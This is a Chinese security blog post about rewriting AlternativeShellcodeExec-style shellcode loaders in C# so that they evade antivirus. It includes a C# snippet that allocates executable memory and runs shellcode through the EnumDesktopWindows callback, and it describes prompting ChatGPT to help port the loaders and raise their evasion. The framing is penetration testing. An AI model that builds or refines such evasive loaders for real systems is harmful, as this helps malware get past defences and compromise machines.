yzddMr6's Blog

脚本小子


  • 首页

  • 分类

  • 标签

  • 归档

  • 知识星球

  • 关于

  • 搜索

从ChatGPT到SharpAlternativeShellcodeExec

发表于 2023-04-28 阅读次数:
从ChatGPT到SharpAlternativeShellcodeExec

背景

利用ShellCode进行免杀是一种最常见的免杀方式,但是常见的VirtualAlloc、CreateRemoteThread这些Windows API已经被各大杀软重点监控。那么与之相对的绕过的办法就是利用一些小众的Windows API,这些API函数往往提供了回调的功能,当它的参数是指针类型的话就可以直接执行内存当中的ShellCode,这样就绕过了敏感函数识别达到执行ShellCode的目的。

最近研究了一下https://github.com/aahmad097/AlternativeShellcodeExec这个项目,该项目提供了很多绕过的API函数。在渗透测试的过程中为了逃避检测,我们常常希望实现内存加载,无文件攻击。原项目是C++写的,PE转ShellCode等方法有时候并不稳定。而C#可以直接内存加载,并且从Windows XP以来每台Windows上都默认安装了.NET,所以就萌生了用C#重写一遍的方法,同时也可以加深对项目的理解。

但是C#调用Windows API的时候需要额外进行函数的声明,并且要实现C++类型到C#类型的转化,这部分的工作十分的繁琐,也不感兴趣。所以就想到了用ChatGPT帮我去做转化。

初步尝试

先随便找了一个回调改写试试,发现就算是硬编码ShellCode+裸的API调用,C#重写后的版本也比原版本少20个左右引擎的检出。可能是原来的项目已经被各大厂商都加过规则了,C#版本的还没有,看起来有搞头。

C++版本

img

C#版本

img

调教ChatGPT

不得不说ChatGPT确实很牛逼,本来只是想让他转换一个函数声明,但是最后几乎替我完成了一大半的重写工作(失业警告)。少部分情况下一次就能转换出能运行的代码,大多数情况我们也只需要对生成的代码进行微调即可。不过GPT偶尔也有自作聪明,胡说八道的情况,这个时候就需要调整我们的prompt来一步步引导他。

替换等价函数

最开始的咒语很简单:

将以下代码用C#重写:xxxx,但是ChatGPT有时候会自作聪明的把我们想要触发的回调函数进行等价替换了,这样也就达不到我们的效果。

img

img

错误的DllImport提示

img

GPT认为EnumICMProfilesW是在mscms.dll中,但是实际上这个函数是存在于gdi32.dll中的:

https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-enumicmprofilesw

img

错误的参数位置

在重写EnumDesktopWindows这个回调函数的时候,ChatGPT一直给出了错误的参数调用,用于回调的addr指针应该放到倒数第二个参数,但是ChatGPT一直认为要放到倒数第一个参数,怎么提示也没用,后来自己改了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using System;
using System.Runtime.InteropServices;

class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("ntdll.dll")]
static extern void RtlMoveMemory(IntPtr dest, byte[] src, uint length);

[DllImport("user32.dll")]
static extern bool EnumDesktopWindows(IntPtr hDesktop, EnumWindowsProc lpfn, IntPtr lParam);

delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);

static bool MyCallback(IntPtr hWnd, IntPtr lParam)
{
// Do something with hWnd
return true;
}

static void Main(string[] args)
{
// alfarom256 calc shellcode
byte[] op = new byte[] { };

IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)op.Length, 0x1000, 0x40);
RtlMoveMemory(addr, op, (uint)op.Length);

if (addr != IntPtr.Zero)
EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), new EnumWindowsProc(MyCallback), addr);
}

[DllImport("user32.dll")]
static extern IntPtr GetThreadDesktop(uint dwThreadId);

[DllImport("kernel32.dll")]
static extern uint GetCurrentThreadId();
}

img

重写后的代码也是错误的。

整体感受

讲完了ChatGPT的坑,其实总体体验下来感觉还是不错的,遇到不熟悉的API可以直接问他,体验比去找文档好的多。

img

并且不仅会给出转换后的代码,并且还会告诉你代码的大体逻辑,以及需要注意的点。

img

代码逻辑的梳理

img

遇到报错贴给他,他也会给出一定的解决方案,当然还是需要人工检验的。

img

利用零零碎碎的时间,终于把45个Project都重写完了,在此期间也真正体会到了ChatGPT在提升生产力中的应用。

进一步优化

在有思路的情况下,还可以用ChatGPT进一步提高免杀效果。随便改一下做个例子:

img

img

img

img

img

最后的代码也是可用的,弹个计算器

img

无法运行的FiberContextEdit

在重写后的45个项目中,利用FiberContextEdit方法的始终无法正常运行。问了ChatGPT后应该是跟C++中函数转换到C#后偏移量不同有关,限制于水平问题没有深入研究,有知道原因的同学可以私下里交流交流

img

img

项目代码已经同步到我的github,如果有问题欢迎反馈:

https://github.com/yzddmr6/SharpAlternativeShellcodeExec

本文标题:从ChatGPT到SharpAlternativeShellcodeExec

文章作者:yzddMr6

发布时间:2023年04月28日 - 08:19

最后更新:2023年04月28日 - 08:25

原始链接:https://yzddmr6.com/posts/SharpAlternativeShellcodeExec/

许可协议: 转载请保留原文链接及作者。

yzddMr6 wechat
欢迎加入我的知识星球
你的支持将是我更新的动力!
yzddMr6 微信支付

微信支付

手机运行Docker: 从修改内核到刷入原生Linux
  • 文章目录
  • 站点概览
yzddMr6

yzddMr6

慢就是快,少就是多。
62 日志
3 分类
12 标签
RSS
GitHub E-Mail 简书
友情链接
  • NaiveKun
  • Fi9coder
  • Sardinefish
  • Panda
  • 九世
  • LFY
  • EarthC
  • Ablustrund
  1. 1. 背景
  2. 2. 初步尝试
  3. 3. 调教ChatGPT
    1. 3.1. 替换等价函数
    2. 3.2. 错误的DllImport提示
    3. 3.3. 错误的参数位置
  4. 4. 整体感受
  5. 5. 进一步优化
  6. 6. 无法运行的FiberContextEdit
© 2023 yzddMr6
|